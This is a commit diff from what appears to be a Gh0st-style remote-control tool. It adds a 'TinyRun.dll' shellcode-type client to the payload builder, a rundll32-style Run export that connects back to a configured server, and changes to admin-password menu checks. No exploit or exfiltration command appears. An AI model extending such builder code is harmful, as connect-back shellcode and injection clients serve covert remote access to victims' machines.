Feature: Add TinyRun.dll to client building option
This commit is contained in:
@@ -44,7 +44,7 @@ struct CONNECT_ADDRESS {
|
|||||||
uint64_t parentHwnd; // 父进程窗口句柄
|
uint64_t parentHwnd; // 父进程窗口句柄
|
||||||
uint64_t superAdmin; // 管理员主控ID
|
uint64_t superAdmin; // 管理员主控ID
|
||||||
char pwdHash[64]; // 密码哈希
|
char pwdHash[64]; // 密码哈希
|
||||||
} g_Server = { "Hello, World!", "127.0.0.1", "6543" };
|
} g_Server = { "Hello, World!", "127.0.0.1", "6543", 0, 0, __DATE__ };
|
||||||
#pragma pack(pop)
|
#pragma pack(pop)
|
||||||
|
|
||||||
typedef struct PluginParam {
|
typedef struct PluginParam {
|
||||||
@@ -404,10 +404,7 @@ extern DLL_API DWORD WINAPI run(LPVOID param)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifndef _WINDLL
|
extern DLL_API void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
|
||||||
|
|
||||||
int main()
|
|
||||||
{
|
|
||||||
assert(sizeof(struct CONNECT_ADDRESS) == 300);
|
assert(sizeof(struct CONNECT_ADDRESS) == 300);
|
||||||
PluginParam param = { 0 };
|
PluginParam param = { 0 };
|
||||||
strcpy(param.IP, g_Server.szServerIP);
|
strcpy(param.IP, g_Server.szServerIP);
|
||||||
@@ -415,7 +412,14 @@ int main()
|
|||||||
param.User = g_Server.pwdHash;
|
param.User = g_Server.pwdHash;
|
||||||
DWORD result = run(¶m);
|
DWORD result = run(¶m);
|
||||||
Sleep(INFINITE);
|
Sleep(INFINITE);
|
||||||
return result;
|
}
|
||||||
|
|
||||||
|
#ifndef _WINDLL
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
Run(0, 0, 0, 0);
|
||||||
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#else
|
#else
|
||||||
|
|||||||
@@ -570,7 +570,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
|||||||
m_MainMenu.LoadMenu(IDR_MENU_MAIN);
|
m_MainMenu.LoadMenu(IDR_MENU_MAIN);
|
||||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
|
CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
|
||||||
std::string masterHash(GetMasterHash());
|
std::string masterHash(GetMasterHash());
|
||||||
if (GetPwdHash() != masterHash || m_superPass.empty()) {
|
if (GetPwdHash() != masterHash) {
|
||||||
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
|
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
|
||||||
}
|
}
|
||||||
SubMenu = m_MainMenu.GetSubMenu(2);
|
SubMenu = m_MainMenu.GetSubMenu(2);
|
||||||
@@ -1391,10 +1391,10 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
|||||||
Mprintf(">>> Timer is killed <<<\n");
|
Mprintf(">>> Timer is killed <<<\n");
|
||||||
KillTimer(nIDEvent);
|
KillTimer(nIDEvent);
|
||||||
std::string masterHash = GetMasterHash();
|
std::string masterHash = GetMasterHash();
|
||||||
if (GetPwdHash() == masterHash) {
|
if (GetPwdHash() != masterHash)
|
||||||
THIS_CFG.SetStr("settings", "superAdmin", m_superPass);
|
THIS_CFG.SetStr("settings", "superAdmin", m_superPass);
|
||||||
|
if (GetPwdHash() == masterHash)
|
||||||
THIS_CFG.SetStr("settings", "HMAC", genHMAC(masterHash, m_superPass));
|
THIS_CFG.SetStr("settings", "HMAC", genHMAC(masterHash, m_superPass));
|
||||||
}
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
PostMessageA(WM_PASSWORDCHECK);
|
PostMessageA(WM_PASSWORDCHECK);
|
||||||
@@ -1538,7 +1538,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]);
|
||||||
|
|
||||||
std::string masterHash(GetMasterHash());
|
std::string masterHash(GetMasterHash());
|
||||||
if (GetPwdHash() != masterHash || m_superPass.empty()) {
|
if (GetPwdHash() != masterHash) {
|
||||||
Menu.DeleteMenu(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND);
|
Menu.DeleteMenu(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND);
|
||||||
Menu.DeleteMenu(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND);
|
Menu.DeleteMenu(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ enum Index {
|
|||||||
IndexTestRun_InjSC,
|
IndexTestRun_InjSC,
|
||||||
IndexGhost,
|
IndexGhost,
|
||||||
IndexServerDll,
|
IndexServerDll,
|
||||||
|
IndexTinyRun,
|
||||||
OTHER_ITEM
|
OTHER_ITEM
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -196,6 +197,11 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
typ = CLIENT_TYPE_DLL;
|
typ = CLIENT_TYPE_DLL;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize);
|
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize);
|
||||||
break;
|
break;
|
||||||
|
case IndexTinyRun:
|
||||||
|
file = "TinyRun.dll";
|
||||||
|
typ = CLIENT_TYPE_SHELLCODE;
|
||||||
|
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize);
|
||||||
|
break;
|
||||||
case OTHER_ITEM: {
|
case OTHER_ITEM: {
|
||||||
m_OtherItem.GetWindowTextA(file);
|
m_OtherItem.GetWindowTextA(file);
|
||||||
typ = -1;
|
typ = -1;
|
||||||
@@ -235,7 +241,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
bool encrypt = m_strEncryptIP == _T("<EFBFBD><EFBFBD>");
|
bool encrypt = m_strEncryptIP == _T("<EFBFBD><EFBFBD>");
|
||||||
if (encrypt && startup != Startup_InjSC)
|
if (encrypt && startup != Startup_InjSC && index != IndexTinyRun)
|
||||||
g_ConnectAddress.Encrypt();
|
g_ConnectAddress.Encrypt();
|
||||||
try {
|
try {
|
||||||
// <20><><EFBFBD>±<EFBFBD>ʶ
|
// <20><><EFBFBD>±<EFBFBD>ʶ
|
||||||
@@ -367,6 +373,7 @@ BOOL CBuildDlg::OnInitDialog()
|
|||||||
|
|
||||||
m_ComboExe.InsertString(IndexGhost, "ghost.exe");
|
m_ComboExe.InsertString(IndexGhost, "ghost.exe");
|
||||||
m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll");
|
m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll");
|
||||||
|
m_ComboExe.InsertString(IndexTinyRun, "TinyRun.dll");
|
||||||
m_ComboExe.InsertString(OTHER_ITEM, CString("ѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"));
|
m_ComboExe.InsertString(OTHER_ITEM, CString("ѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"));
|
||||||
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
|
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user